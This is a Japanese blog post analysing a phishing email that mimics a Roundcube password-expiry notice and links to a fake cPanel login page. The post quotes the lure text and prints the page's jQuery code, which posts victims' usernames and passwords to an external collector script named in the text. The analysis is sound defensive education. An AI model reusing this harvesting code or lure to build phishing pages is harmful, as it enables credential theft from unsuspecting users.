【スポンサーリンク】

[偽roundcube]「Password key expired(パスワードキーの有効期限が切れました)」という詐欺メールが届いた

[偽roundcube]「Password key expired(パスワードキーの有効期限が切れました)」という詐欺メールが届いた
閲覧中のユーザー数
(閲覧中のユーザー:0)
  • roundcubeのアイコンで「パスワードキーの有効期限が切れました」というメールが届きましたが、これはフィッシング詐欺の可能性が高いです。
  • 送信者のメールアドレスやリンクのURLに不自然な点がありました。
[偽roundcube]「Password key expired(パスワードキーの有効期限が切れました)」という詐欺メールが届いた

けっこう、cPanelを狙い撃ちにした迷惑メールか届くから、メールアドレスがそういう名簿に乗ってしまったんだろうね……。

特典ダウンロード
【ちいラボ読者特典】印刷してすぐ使える!
\記事が役に立ったらシェアしてね/
【スポンサーリンク】

1. 「パスワードキーの有効期限が切れました」とは?

このメールは、一見すると重要なお知らせのように見えます。
しかし、セキュリティ上の緊急性を煽っているメールには、注意が必要です。

「パスワードキーの有効期限が切れました」とは?

Hello 〜

Your Password has Expired.

We recommend that you take the time now to keep your password active below to avoid login interruptions.

[Keep Existing Password]

We recommend you retain your existing password, and stay logged in across your device(s) and sessions;

Note : Otherwise, your account or email access will be lost..

Thank You,

2024 〜 Server

メールの内容によると、「受信者のパスワードが期限切れになった」と伝えています。
ログインの中断を避けるためにパスワードの更新が必要だと説明し、「Keep Existing Password(既存のパスワードを維持する)」というボタンから、パスワードを更新するよう促しています。

2. メールアドレスとリンクを確認する

しかし、このメールには多くの不自然な点があり、フィッシング詐欺の可能性が非常に高いと考えられます。

迷惑メールのチェックポイント
  • 送信者のメールアドレス
  • リンクのURL

まず、送信者のメールアドレスに問題があります。
送信元のアドレスが「esme@superlocum.com」となっていますが、これは受信者のドメインと一致していません。

次に、リンクにも不自然な点があります。
「Keep Existing Password」ボタンのリンク先が、見慣れない長いURLになっています。
本来、正規のパスワード更新ページであれば、会社の公式ドメインを使用するはずです。

あと、細かな言葉遣いですが、「既存のパスワードを維持する」というのも不自然です。
通常は、安全な方法でパスワードを変更するよう指示するはずです。

メールアドレスとリンクを確認する

これも、「既存のパスワードを盗み取ろう」という騙しの特性なのかもしれません。

3. CPanelのログインページを偽装

リンク先は、CPanelのログインページを偽装したページでした。

CPanelのログインページを偽装

ちなみに、偽のログインページの特徴として、記憶されたパスワードが自動入力されないという点もあります。

CPanelのログインページを偽装

これは、ドメインが記録されている正規のページと違うからです。

3-1. パスワードの外部送信処理(JavaScript)

HTMLには、JavaScriptなどのコードが書かれているので、そのまま読むことができます。

パスワード入力の処理は見せかけで、外部サーバーにデータを送信していました。

$('.btn-signin').on('click', function() {
    var user = $('#email').val();
    var pass = $('#password').val();
    var mmoop = "https://office365.com";
    if (pass.length < 5) {
        $(".error-alert-pass").show();
        $(".pass-alert-msg").html("Please enter your password.");
        return false;
    } else {
        $(".error-alert-pass").hide();
        $.ajax({
            url: php_url,
            type: "POST",
            data: {
                user: user,
                pass: pass
            },
            dataType: 'json',
            encode: true
        }).done(function(data) {
            console.log(data);
            if (data.success) {
                if (data.success == 'otrue') {
                    window.location.replace(mmoop);
                    alert('Successful');
                } else {
                    document.getElementById('password').value = "";
                    document.getElementById('password').focus();
                    $(".error-alert-pass").show();
                    $(".pass-alert-msg").html("Your account or password is incorrect. If you don't remember your password, " + "<a href='#'>reset it now.</a>");
                }
            }
        }).fail(function(data) {
            document.getElementById('password').value = "";
            document.getElementById('password').focus();
            $(".error-alert-pass").show();
            $(".pass-alert-msg").html("Your account or password is incorrect. If you don't remember your password, " + "<a href='#'>reset it now.</a>");
            console.log(data);
        });
    }
});

入力されたパスワードは、長さをチェックしている(5文字以上)だけで処理されます。
また、ユーザーの入力したメールアドレスとパスワードは、jQuery を使って、平文のまま外部のPHPスクリプト(b26-auth.ga/kase/loginOffany.php)に送信していました。

要は、5文字以上なら「Successful」と表示して office365のページにリダイレクトし、パスワードデータは外部に送ってしまうのです。

3-2. 偽サイトのエラー処理

「loginOffany.php」からの返り値によってもエラー処理があるようで、適当なパスワードを入れたら「The login is invalid」と表示されました。

偽サイトのエラー処理

結構 時間がかかっていたので、そのタイミングで正規のログインページで試行していたのかもしれません。

一応、正規のログインシステムを模倣して、サーバーからの応答ステータスが400番台(クライアントエラー)の場合、”invalid_login” メッセージが表示されるようになっていました。

function login_results(ajax_obj) {
    // ... (省略)
    if (parseInt(response_status / 100, 10) === 4) {
        var msg_code = result && result.message;
        show_status(MESSAGES[msg_code || "invalid_login"] || MESSAGES.invalid_login, "error");
        set_status_timeout()
    }
    // ... (省略)
}

“The login is invalid” というメッセージは、JavaScriptコード内のメッセージ定義部分にありました。

var MESSAGES = {
    "ajax_timeout": "The connection timed out. Please try again.",
    "no_username": "You must specify a username to log in.",
    "session_locale": "The desired locale has been saved to your browser. To change the locale in this browser again, select another locale on this screen.",
    "read_below": "Read the important information below.",
    "invalid_login": "The login is invalid.",
    "network_error": "A network error occurred during your login request. Please try again. If this condition persists, contact your network service provider.",
    "authenticating": "Authenticating …",
    "success": "Login successful. Redirecting …"
};
偽サイトのエラー処理

ちなみに、「.ga」ドメインは、ガボン(アフリカ中央西部に位置する国)のトップレベルドメインです。

こちらもどうぞ。
cPanelの迷惑メールフィルターを強化した(Apache SpamAssassin)
cPanelの迷惑メールフィルターを強化した(Apache SpamAssassin)
仕事用のメールアドレスに届く迷惑メールが、うまく振り分けられていないことに気づいたので、メールサーバーの設定を変更することにしました。cPanelのスパムフィルタ私が使用しているレンタルサーバーでは、「cPanel」の管理メニューから「スパムフィルタ」が設定できました。このスパムフィルタは、「Apache SpamAssassin」が搭載されていました。スパム閾値スコアを下げる関係するのは、「スパム閾値スコア(Spam Threshold Score)」。この値を調整すると、...

不審なサイトとLINE Notifyの連携をしてしまったので解除した
不審なサイトとLINE Notifyの連携をしてしまったので解除した
迷惑メールのリンク先の不審なサイトを開くと、「LINE Notify」との連携を求められました。連携すると、LINE Notifyのトークルームに迷惑メッセージが送られるようになりました。不要な連携を解除するには、LINE Notifyの管理ページから操作します。LINE Notifyは主に開発者向けのサービスで、GitHubやIFTTTなどのウェブサービスと連携して利用されます。「これは不審なサイトです」と表示された「早急に設定をお願いします。」という件名のメールが届きまし...

どうして偽サイトに自分のロゴが使われていたのか?(ウェブAPI)
どうして偽サイトに自分のロゴが使われていたのか?(ウェブAPI)
詐欺メールのリンク先の偽サイトを調べてみたら、自分のSNS用のアイコンが出てきて、ちょっとびっくりしました。ソースを読むと、Clearbit社のAPIを利用して、メールアドレスからロゴを動的に表示していたのです。また、最初の2回のログインを意図的に失敗させ、3回目に別のフォームサイトに誘導する、などの仕掛けもありました。フィッシング詐欺は年々手口が洗練されてきています。安全のためにも、普段からサイバーセキュリティについて学んでおくことが大切だと感じました。YouTube動画で...

「URL」とは?
「URL」とは?
「URL」は、だいたい「https://〜」で始まる、ウェブページのアドレスのことです。インターネット上にある情報の「住所」を表しています。

[JavaScript]JQueryとdocument、どっちを使う?【HTML5】
[JavaScript]JQueryとdocument、どっちを使う?【HTML5】
インターネットの情報の特徴として、新しい情報も過去の情報も混在しています。過去の情報を元にした新しい記事もあるため、「何が最新なのか」わかりにくい面があります。JavaScriptでウェブページの要素にアクセスしようと、インターネットで検索すると、「JQueryを使った方法」と「document」を使った方法が出てきます。そこで悩むのが、いったい どっちを使う方がよいのか、ということです。JQueryとgetElementBy〜例えば、idセレクタからDOM要素にアクセスする...
QRコードを読み込むと、関連記事を確認できます。

[偽roundcube]「Password key expired(パスワードキーの有効期限が切れました)」という詐欺メールが届いた
【スポンサーリンク】
タイトルとURLをコピーしました